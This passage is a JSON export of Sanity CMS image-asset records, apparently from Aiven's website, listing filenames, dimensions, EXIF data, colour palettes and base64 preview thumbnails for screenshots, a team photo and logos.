F0k1mppDDIZP305OTklMTU07n6nT5WTqdNmZmbqcjIzM7MyM9NyqbG3V9/nvDt7RH169ZwiVRgyvoxFDqHLXEL71U37EZE/uO6auolOxHcYvXqWKSy4GXsgr2JGSmq45fTpRc/KU1p+EBK1Gm5CgOauN14zmvLLfXag5IxQH9kglAfNySQArlwS4xJKAYbY4qHCp8OWwVn38rs9KigP/BnyeIhlLQmiJAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#70523d","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c1705","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87607","foreground":"#fff","population":5.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0a1a0","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dea888","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a35857","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87607","foreground":"#fff","population":5.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-cassandra.png","path":"images/sczeoy4w/production/67a93efff22c31f3398dfda6484a11e49b2505f6-1600x1137.png","sha1hash":"67a93efff22c31f3398dfda6484a11e49b2505f6","size":78683,"uploadId":"6ZWr1YAfuxT6lGjKyct7JQ78TDRbvbXY","url":"https://cdn.sanity.io/images/sczeoy4w/production/67a93efff22c31f3398dfda6484a11e49b2505f6-1600x1137.png"} {"_createdAt":"2023-05-22T10:10:30Z","_id":"image-67da9e0e0bb63799bf549141ec141df5f1284e8b-6048x4024-jpg","_rev":"4JMA3H9bBgAwAcyypUHHWx","_type":"sanity.imageAsset","_updatedAt":"2023-05-22T10:13:33Z","altText":"Aiven team photo by the pool","assetId":"67da9e0e0bb63799bf549141ec141df5f1284e8b","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.502982107355865,"height":4024,"width":6048},"exif":{"ApertureValue":5.655638,"BodySerialNumber":"6038452","ColorSpace":1,"Contrast":0,"CustomRendered":1,"DateTimeDigitized":"2023-04-27T19:10:15.000Z","DateTimeOriginal":"2023-04-27T19:10:15.000Z","ExposureBiasValue":0,"ExposureMode":1,"ExposureProgram":1,"ExposureTime":0.003125,"FNumber":7.1,"Flash":0,"FocalLength":70,"FocalLengthIn35mmFormat":70,"FocalPlaneResolutionUnit":3,"FocalPlaneXResolution":1683.0665283203125,"FocalPlaneYResolution":1683.0665283203125,"GainControl":0,"ISO":250,"LensModel":"VR 24-70mm f/2.8E","LensSpecification":[24,70,2.8,2.8],"LightSource":0,"MeteringMode":5,"PixelXDimension":6048,"PixelYDimension":4024,"RecommendedExposureIndex":250,"Saturation":0,"SceneCaptureType":0,"SensingMethod":2,"SensitivityType":2,"Sharpness":2,"ShutterSpeedValue":8.321928,"SubSecTime":"96","SubSecTimeDigitized":"96","SubSecTimeOriginal":"96","SubjectDistanceRange":0,"WhiteBalance":1,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAgf/xAAiEAACAgICAgIDAAAAAAAAAAABAgMEABEFBhIxByITIXH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQME/8QAGREAAwEBAQAAAAAAAAAAAAAAAAECEQNB/9oADAMBAAIRAxEAPwC5ufK8ctWvInHRGwSRF9vX8zPHdi6/xthrd6t42Z97XWgCR+9Zy+p1GOVKhN6cfhJ8dDG1DrqW0etPakdFcsCw2d5GpfpphQ9LJe3UmUChx7tXX6qUb3hj/gOmVJOJruLEse19IABhiXPQ1H//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#684f35","foreground":"#fff","population":3.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f332d","foreground":"#fff","population":3.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9c0c4","foreground":"#000","population":4.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9c0c4","foreground":"#000","population":4.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4d494","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a7263","foreground":"#fff","population":4.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad5c51","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"AIVEN4283 (2).jpg","path":"images/sczeoy4w/production/67da9e0e0bb63799bf549141ec141df5f1284e8b-6048x4024.jpg","sha1hash":"67da9e0e0bb63799bf549141ec141df5f1284e8b","size":14675987,"title":null,"uploadId":"A0WKjPI03jWGDWnVZFxgNDnkEdtPGAJ1","url":"https://cdn.sanity.io/images/sczeoy4w/production/67da9e0e0bb63799bf549141ec141df5f1284e8b-6048x4024.jpg"} {"_createdAt":"2022-10-25T08:43:30Z","_id":"image-67dadb757442b4701a1e7fc85c9b9602ea068899-1280x953-png","_rev":"VpqI6rTG30oq7pRBY3Ig7r","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T08:43:30Z","assetId":"67dadb757442b4701a1e7fc85c9b9602ea068899","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VFS63_-T.ltQ%Lo~X.bbxEkC?[VZD5%ft+%z%gWBVsWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3431269674711437,"height":953,"width":1280},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAADI0lEQVQ4jV2U3WskRRTF89cqCIKoj/qw/4G+CD7JwuKL7LoKLurDwgpJ2GwmazKTbNyeSTLfk57+7q7u+rw/6cmGiLe4XChOneLcc6v25H8RvIjtnGhlxBq/2wMeqncSbtdiLt9JMpnI1WQiURTJYrEQpZTs7UAfDjjrRSsrTamlSFvZZq0UjRHng+wQPc45Ceul6Hfnso0iGUeRXF5eymw2uyPsYcEHrPa0taFKFVXaEN82jCY559OCorE9312GgHQtviho84IyLynKEqUU3nv2nAvSNUbqvJOy6KTc5FJHM9lGK7mIcjmPMknWhfhWfxCCBBfEKiNtpkQVnZjOSfBhp3LPmICqDFmqWCcZ85sbNscj4tMr1tcJ8XhDeX5FN11jyhbbWnTZUm1K0nlOtiqptjVtpXEusNe3xxhHXiqi5ZKzccTk4ob1cEp2GlG/fUd2OGT+2xuufv2b1eE1yTghWZSki+KBtOiwNrAXJNC5jqTOmcUJN4stm8mafHBJ9mrA6vk+77//k7dfPeX48584efQ7508GTI8WpLOCIm6oS40xnhDkjrC1LVVXoeqGLqnQyy1dNCXZH/HPNy84/egHhh8/YfjFM15/+pS/PnvO8PEh2/GKVmmsCzvD+ti57IPHe4d0HVJU+LJBpzX5+xXzZ2+Ivv6Zi09+ZPTlM4aPXjD69iXzPwZksylJpahMoG9dP4D9HD6ED4h1eOvp+hHaNhTTlPhgzPXjAybfvWTxyyHxaEwRJ2yTgvFGscgMSntCTygSkOAR7+9mrE8fcMahW4sqNVVcUs5imusV6XzBcBVzlrQsc8sy1sxjTdo4tO972Db4PMFvN/h0S9gmhNu+ZoS6xXYWrRROVYhtSWrN/qzh1VQxzy2VchTKUWqP6Ql9ssZEQ/TZEfr0GHMywBwNsIMz/GRKyEtEa8RpxDtaHVimlsltx7ow1CZgQ++D3EnuCW10hh4e0Z0c0B0doI9eY14fY09G+Ks5otpdw++fn3eBVntq7Xcy7x3euRxUjc9u8fEKt5njljPcco5bLPCzJeE2QbT5cEgeVv8H/OeS+/wXqqZpY4eUuzAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f2b3c","foreground":"#fff","population":0.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae287c","foreground":"#fff","population":2.94,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3cbe2","foreground":"#000","population":3.78,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3cbe2","foreground":"#000","population":3.78,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ce73","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#599b59","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d71a29","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"67dadb757442b4701a1e7fc85c9b9602ea068899-1280x953.png","path":"images/sczeoy4w/production/67dadb757442b4701a1e7fc85c9b9602ea068899-1280x953.png","sha1hash":"67dadb757442b4701a1e7fc85c9b9602ea068899","size":132492,"uploadId":"rlBTdzzMXF7CqYqaQbSkOSKTyq85iJGg","url":"https://cdn.sanity.io/images/sczeoy4w/production/67dadb757442b4701a1e7fc85c9b9602ea068899-1280x953.png"} {"_createdAt":"2023-03-02T12:38:00Z","_id":"image-67dce055b051933bf75d517ca8963f4b7ead45b5-259x258-jpg","_rev":"iUKOwlWz6dlX4J4w1aMuE4","_type":"sanity.imageAsset","_updatedAt":"2023-03-02T12:38:00Z","assetId":"67dce055b051933bf75d517ca8963f4b7ead45b5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eBOzSsD%~qIU4n00-;_3Rjt7~qM{RjxuM{IUj[%MxuD%-;ofM{Rjj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.003875968992248,"height":258,"width":259},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQFBgEH/8QAIxAAAQQCAgAHAAAAAAAAAAAAAQACAxEEBQYSExQhMUFhcf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwD2bcyTjUzeUl8KZw6iSr6X8rE6TXbjj3JMQyciyNtjZb6lilHowH2IW/hBfC6hZAuqtQNfj5ewz4nR4rhBE4vc97av6CC7Ioouytc15DgQUQS+PRMdidi2yTRKu4ImQxhsYpqIgOhjebcwE/iIiD//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#888888","foreground":"#fff","population":2.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#888888","foreground":"#fff","population":2.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"b183db99-filip-yonov_1077076000000000000028.jpg","path":"images/sczeoy4w/production/67dce055b051933bf75d517ca8963f4b7ead45b5-259x258.jpg","sha1hash":"67dce055b051933bf75d517ca8963f4b7ead45b5","size":6213,"uploadId":"sofKStcvh8NXokcHTT1oq1O1o50xsjxA","url":"https://cdn.sanity.io/images/sczeoy4w/production/67dce055b051933bf75d517ca8963f4b7ead45b5-259x258.jpg"} {"_createdAt":"2022-06-15T20:02:35Z","_id":"image-67df540d3fb05ef587149f0551bdbef21ca528b6-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8Fdh","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:36Z","assetId":"67df540d3fb05ef587149f0551bdbef21ca528b6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPQlF7UH%Nu5icGJxuI9Na%2p^VEM_wct8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADRklEQVQokR3FW2/bZBgAYP8DBP8AJG645moXXCChSb1gGlAVtAuQqNjUaiorqKxdS+k2etjQQFubskE1spZD0lRT1rV0SZmWpM2S2G0Oa9bYThw7zsn+PttpDg0k8/siuHj0MHJBGxZzpbtirriWlUqrYq7k4YWCJyMoHl4seLJSyVOumB6dNjyENj3EaK4So/UbMVp3JbmytLPLOsOhqCuX5J1EUCeZRCqztBPmhCfBiBkIRcnTSJxG2SSNcan/jyczVFYJ1Y1jqhstqtMmVUtUP0hnq1u+xxWH48fqyswN+nzGkW/OLT1k4olDdyAUNfzbQfzr8S5G2SSmM3kURAWFVAIlLoCVTAJJqYSE1LCq1TD1jEevdwPnby3g1MUx/OXT85jtHWh0eodCTF7R/sgIip4+lPCQl21JrkC5WgO9UgWLvQ9N9yC03ANQf7IIlN+DYqEIyUQSHq0/gNUFB/z65Zjt/+gsSh+cM1sDE35Gp02XRhpEIw3UaQN0/Qj1MkWaSWDTO4bdmVfR/uYVPFp4B9IPHMiGd0F8fgBqLAzZ23eA/+xzUE59jJX+Ycv6yeljiNF0EaNBqNFASutANROJrKIR3sTW7T78Z/RlNEdeQvbrE7hyfQQ9v6+gmOSwEQ7i0cRVrPV8CO2TvdgeHrWOfZs+htKay6AWMYiJJqG2petgFoug765D+WYfiCNvwOb5N+H7oV5Y/O4qhHzrUM3Eob31J3TOXoTuiffBPnkG7W+vWZ34jo+xdN1laZpuaVWsaWW7rpeBqhLs+e/D2uwgLA69C+P9p2F69AIEvC4whH1oKwfQCW6DPfsDwCfDNpz7Cu17TvNFNuZj6krWbeYFSmQBTTWHraqMmpjAjeV5nB7qw8v9b+PNL07jtnMWCfcIu2IMu9IevhCiaMe2ETbWELxuhJivBgXWzzT5+LyR5vbLh/sKlQ7E47LIm/xTPrJ8hXddeEt4OPi6lLrRIxnBBaGb2eJtPpC1s5E8FLg8FLk8KDEJpIgCcjQFKrvMHOefnannkpOWlJqrF9KX2+XM+N959lI99PMl8857E40rr013lnpm7fi9SVsJjYO8MwVKbBYK7Byq7BwWuf9cgyI3BSrX/y8DUb4aSFoMigAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#45332b","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3e04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f63652","foreground":"#fff","population":7.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d09496","foreground":"#000","population":1.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f63652","foreground":"#fff","population":7.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#897b57","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67b10","foreground":"#fff","population":6.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"67df540d3fb05ef587149f0551bdbef21ca528b6-1567x844.png","path":"images/sczeoy4w/production/67df540d3fb05ef587149f0551bdbef21ca528b6-1567x844.png","sha1hash":"67df540d3fb05ef587149f0551bdbef21ca528b6","size":402169,"uploadId":"5EDmVo7vgo6aEIVdZxacB4nIjbBsnWnf","url":"https://cdn.sanity.io/images/sczeoy4w/production/67df540d3fb05ef587149f0551bdbef21ca528b6-1567x844.png"} {"_createdAt":"2022-06-16T22:53:49Z","_id":"image-6877e11367420a7490b0bf543a8662a564003f52-82x35-svg","_rev":"oamrAPLmQLQjd9jh7ZoFYw","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:49Z","assetId":"6877e11367420a7490b0bf543a8662a564003f52","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M04o1d_3xuofof~q00M{ofWB009F%MxuWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.342857142857143,"height":35,"width":82},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABWklEQVQokXXSz0vVQRQF8G++QMEosySiAn8kuIjHe58JatEmok20iMJWQRmEIBQoGBqteygRFUG0KHVTkBJBkGagJCjt2vvXyJVr1MIvnO8MM3POnHPnVqWUCoEDMZZSYmxHBw6iC4PoRQ8uYRrz+Ilf+IAZLIbQSVzAeRxDP4ZxAw3cwUtM4DZa+IRVbOEN7mIUs1US3+IFruMRfiTpCRbSxdecv8Pj5CzgWrp+iJEQvIlv+I33eeh7iqykwDMsYxPjuJIRn+JsGnmNeyF4FZ+xjT8Z4X6Kb2AMF/EcX9JRfJO4heO5/yCcVhnxI5awXkppZU0n0+1ldGeSiDWUta7jTD7cIZxAZwgu4lUWNdxN4VzeHmt9STqNgSBlV9TQ1mg0ojN2EevxW8ubS75ulCAcnMpWifaJc22JvTbbxZ7Yv4JzWZcjOIrDQazValWz2fwP9Xr9L3E/7ACfAaGxatMmzQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":3.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":3.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"kyyti.svg","path":"images/sczeoy4w/production/6877e11367420a7490b0bf543a8662a564003f52-82x35.svg","sha1hash":"6877e11367420a7490b0bf543a8662a564003f52","size":2055,"uploadId":"DTdLD07FvEb4dxl1Pt0KKhPnjorq2p8p","url":"https://cdn.sanity.io/images/sczeoy4w/production/6877e11367420a7490b0bf543a8662a564003f52-82x35.svg"} {"_createdAt":"2022-06-16T23:49:35Z","_id":"image-68efb9ff2c4ebe827703f1adec97863a3ea3ea80-1200x630-jpg","_rev":"0HOthdQkSgJdYc0C9w1aW4","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:35Z","assetId":"68efb9ff2c4ebe827703f1adec97863a3ea3ea80","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSA^I{#RRGF]i%5aMeooyV[+]K5oew]I=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEAf/EACEQAAICAgIBBQAAAAAAAAAAAAECAwQAERIhMQUUIkGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQUGB//EABoRAQEAAwEBAAAAAAAAAAAAAAECAAMRBRX/2gAMAwEAAhEDEQA/ALovaiJQYhzA7+Pk5l+3XoejLPqKOeSXgdpy0mvIx79wr0PzFTQx2EVJ0DqvYB+sh/psbBs6ZrG4dk8FMVRFexShlIcsy7YgaG94ZVDGscaoihVHgDDFu30aq1k4YZaAO5//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4bd","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":5.93,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"GoTo_Financial_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/68efb9ff2c4ebe827703f1adec97863a3ea3ea80-1200x630.jpg","sha1hash":"68efb9ff2c4ebe827703f1adec97863a3ea3ea80","size":213791,"uploadId":"tJnrqncLnLj76DnHfXLdLAciZXp70W3z","url":"https://cdn.sanity.io/images/sczeoy4w/production/68efb9ff2c4ebe827703f1adec97863a3ea3ea80-1200x630.jpg"} {"_createdAt":"2024-07-16T13:22:11Z","_id":"image-6955066b1ad6a17fbda51e41ef4474bc7f07446c-908x908-png","_rev":"Q5au1PiVZbNmkWMGrFd0Jb","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T13:26:07Z","altText":null,"assetId":"6955066b1ad6a17fbda51e41ef4474bc7f07446c","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9RuBlz:00y?0e%MZha0h1bv00bb49RP3Vx]g%S2dWVY0fb^3CVEwJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":908,"width":908},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAG66AABuugHW3rEXAAADyElEQVQ4jX2VX0yWdRTHz4v8k5TGZrONdcEWyNaf6UW11aj1xy4abu9zXgQEWWYUBCo20mKJUeK/kAAJBJdm4GwxjRJT6cJaV84bbWy1Obds3eYFhekCzqed53kf5KqL383zPs/n9/2e7znnFVSEIH1UEqaSj8pTqOxEZQKVm6byDyp3UPmDQCYJpJ1Uooz1mQVU5iRYJ0IqER6HxLBMVIpM5VVURlGZskD+DEGBzFsg86Qy7lp13i2qcn4hkDFLSgMqJaaSxUB9yFoMK0WlDZXLpjKNiqFCdBJQvRS2lkLnK/B+mdlrK2dYn3UVTewhkNWkEtmWjIAJV5aGTaHyL0EIMgvEqFhiVl9o9uHLxvG3jYke4/Reo7cWWtfMUpt/nUA60UQpFZkZDvSauc3LISxS5eoMB1blGh0vGeMfG5NDZhcGzSaHjAsDxmfbjMaiOQL52VSa0cQKSQcwSiDTsbIFu0kxqpca+8rhXB98P2z88IVx6XO4eMQ42WY0F0Mgt1EZR2WtpNOcCtUshmnCFUJ1HuxblwYehR9H4NIJ4+IgjL5n1lwcvmcqN0yly4ETRGn6TVHdXJnDkgJVOfDBC/D1AZgccmUR2BUea3HL0bsqf6FyxYE3060R2a3MMWrzjQ33QSoDqnKjdLsq4GQbnOuF053Qu9FoXWPULIuBs6hMO9Cbdj586D+++6TRXQUHktD2NLQ/BwcVemrgyJtwtCkqgV+y8X4jlREDwxAdeMfSQHP5w00W2jvfD98egpEdEeT4dhj7CE7tgk83Q18d7H7eqCuIaxjWX8zHSeVuWMOWR6NW8Nqc2Q9f7oZdz8KWkkjVN13w0yn47nAU0sgOs6aHY4VzqMy4wklUboXA7Y+ZDTUafXXGiXdgqIGwLTavhI4XPdUonK864Mx+Y7Ae6gtjhX+jcs2B7abis2mu0I5ts9De+EHjbHcE7a6OLLp1v8j7b+B1aHnEqMyOFf6GymG3XGYqYwQyQ2MRDL/lNTTOfhJ92L8pUuKw4Uavn4X2m4vN7sF8E51HpdwVFqDSQCBXqVk2y84njEOVxt5yY8sqY9MDxhsPGVtXGc0lRn0h1CyP07WwQ1R+RaUVlQfDHRiuoED2oInrVpkzR+1y2JBn4bQkFxr9XtPHja8ybyq/E0gPKo+jsiTeh1morA63hg96Um6nP/i/4zZdWY9F+yA32ocOfCaEZvtOTG8NH/Qb6XHyCYhn3FvD0/QAvGZu05WFsAWgxX8BgWQQyAoCWUsgXaZyxcdpEXDGVK6h0u8BeM3cpjkjff4DZbugJb6Y9aUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c22004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":46.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bc9c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faaf6e","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad885e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":46.26,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"icon-business services.png","path":"images/sczeoy4w/production/6955066b1ad6a17fbda51e41ef4474bc7f07446c-908x908.png","sha1hash":"6955066b1ad6a17fbda51e41ef4474bc7f07446c","size":31606,"title":null,"uploadId":"qB0J4IKIHouGncI5YhomCtePnE04nOMp","url":"https://cdn.sanity.io/images/sczeoy4w/production/6955066b1ad6a17fbda51e41ef4474bc7f07446c-908x908.png"} {"_createdAt":"2022-06-15T20:02:16Z","_id":"image-698042be58f57726b1ccdb3936f6bfcb26f640d0-1567x844-png","_rev":"StyfnzRSyhTCbsBlPUmLwM","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:46:02Z","assetId":"698042be58f57726b1ccdb3936f6bfcb26f640d0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZOz42.8?7o#kZpKNGaiozt6~SIVE8jEnz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADH0lEQVQokSXF20/bdhQAYP+Xe9vLJDSQJrWTNk0JEKCE0aJSaJYNSIGmooRSN6WwrojSsDFRCM09JPEljhsndhz/ju1cHNjW5pw99Hv5uHrDulWt6ZuipMVFWeNlpclXazovV5u8rOh8Q7d5CzzesgdfBo9n0OMZc3hgwAO4z5ndf8HAe8xsz8eJsraWL0piJlt20pkSS2fLkM0LkM1VIFcQQVFb0Gr3wYIBMPDAAg/aVgeaWgPqogRNQWHtj7oDJpPBcqJcvcF2ah9bUK0ZJCs6yUqTBFmjfEGkbF6kXLFNl6k+XZU90lsDMttdUmoNujhP0sHTQ3odPqfcywqZVzWno2mvOAu8bQs8ywKPLOgPTdNFoSzj26N3yO8d48augnfDPYxEB/j+4holCfAymcfY9nMM+kI4/TU/jP2UIflYsnuq/AfH7EGM2R5j9oAY9IdtSaBCfItii/dodj5Ct3/O0Mh4j26P31A4fE2HBx063K/Qxmqc5oNLNP39Cq4HjqmcqLgDvfaWY9CPMegzBh2Ctjlk6QRVV2bo1dwsTc7HaSRYpZGAR7f8fZqZdmltuUO76wZtr59RZPUJ3V9YwkcPNyh3+rfr6eIRB9CJ2eBajmWQYwhDV0wiOz3A1JsE3t9S8dvFHo7OePjjFMO5YB1DCwpuhsv4JH